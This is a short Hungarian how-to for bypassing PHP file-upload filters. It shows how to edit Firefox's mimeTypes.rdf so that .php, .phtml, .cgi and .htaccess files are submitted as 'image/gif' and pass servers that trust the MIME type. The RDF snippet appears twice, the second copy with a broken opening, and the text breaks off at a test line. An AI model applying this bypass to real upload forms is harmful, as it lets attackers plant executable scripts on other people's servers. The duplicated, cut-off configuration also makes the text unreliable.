Nagyon sok php script megbizik, a MIME type ban, amit ki lehet használni, lehet .php filet image/jpeg MIME type al feltőlteni.
File: mimeTypes.rdf
WIN :
Documents And Settings\[USER]\Application Data\Mozzila\Firefox\Profiles\[PROFIL]\mimeTypes.rdf
Ubuntu :
/home/[USERNAME]/.mozilla/firefox/[RANDOM-PROFIL].default/mimeTypes.rdf
vagy
~/.mozilla/firefox/[RANDOM-PROFIL].default/mimeTypes.rdf
FireFox 7
<RDF:Description RDF:about="urn:mimetype:image/gif"
NC:description="GIF Image"
NC:value="text/html"
NC:editable="true">
<NC:fileExtensions>html</NC:fileExtensions>
<NC:fileExtensions>htm</NC:fileExtensions>
<NC:fileExtensions>shtml</NC:fileExtensions>
<NC:fileExtensions>php</NC:fileExtensions>
<NC:fileExtensions>php3</NC:fileExtensions>
<NC:fileExtensions>php5</NC:fileExtensions>
<NC:fileExtensions>phtml</NC:fileExtensions>
<NC:fileExtensions>php4</NC:fileExtensions>
<NC:fileExtensions>py</NC:fileExtensions>
<NC:fileExtensions>cgi</NC:fileExtensions>
<NC:fileExtensions>.htaccess</NC:fileExtensions>
<NC:handlerProp RDF:resource="urn:mimetype:handler:text/html"/>
</RDF:Description>
NC:description="GIF Image"
NC:value="text/html"
NC:editable="true">
<NC:fileExtensions>html</NC:fileExtensions>
<NC:fileExtensions>htm</NC:fileExtensions>
<NC:fileExtensions>shtml</NC:fileExtensions>
<NC:fileExtensions>php</NC:fileExtensions>
<NC:fileExtensions>php3</NC:fileExtensions>
<NC:fileExtensions>php5</NC:fileExtensions>
<NC:fileExtensions>phtml</NC:fileExtensions>
<NC:fileExtensions>php4</NC:fileExtensions>
<NC:fileExtensions>py</NC:fileExtensions>
<NC:fileExtensions>cgi</NC:fileExtensions>
<NC:fileExtensions>.htaccess</NC:fileExtensions>
<NC:handlerProp RDF:resource="urn:mimetype:handler:text/html"/>
</RDF:Description>
FireFox Restart.
Mostantól kezdve a php, html, shtml, php3, stb fileokat “image/gif” mime typeal töltjük fel.
Proba:
File Type: